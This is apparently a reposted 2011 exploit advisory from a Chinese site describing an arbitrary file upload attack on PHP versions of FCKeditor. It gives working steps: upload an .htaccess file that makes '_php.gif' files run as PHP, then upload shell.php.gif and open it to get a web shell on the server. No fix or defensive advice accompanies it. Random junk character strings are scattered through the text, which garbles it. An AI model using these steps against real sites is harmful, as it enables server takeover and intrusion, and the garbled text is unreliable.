FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 ' G5 X3 E7 x$ g4 F作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 8 S' X0 ^/ F& D# A; X  Q减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability [+] Date: 2011 ' ]- y2 J" `) k, _[+] Author : sinesafe.cn # X/ \; `3 m; e$ G( G& P4 L[+] Website : WwW.sinesafe.cn ——————————————————— 4 a2 X' L2 b7 a' w( c9 R. d6 A1.create a htaccess file: code: 6 J. {5 D( G' \' I& ^; @<FilesMatch “_php.gif”> SetHandler application/x-httpd-php # [! v# @: Q4 Y9 p  y8 L  }* R</FilesMatch> ; c% V+ _2 p  H+ U2 W! g6 X2.Now upload this htaccess with FCKeditor. 1 e) _, J, N% g1 m9 s 1 I" {1 ?( i/ p; H' a- G7 Nhttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html http://www.sinesafe.cn/FCKeditor ... onnectors/test.html 4 m+ S( J: z. y" G 9 i% m/ i. B9 D6 J$ b  T- h3 r% @———————————————————————————————- - |+ i: K5 t' i* A5 [9 T7 U0 Q3.Now upload shell.php.gif with FCKeditor. 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 5.http://www.sinesafe.cn/anything/shell_php.gif ( w) F% {, t) }0 a: d2 e: e1 b6.Now shell is available from server.

. _& f8 i( x- B9 ~# P5 |( G' @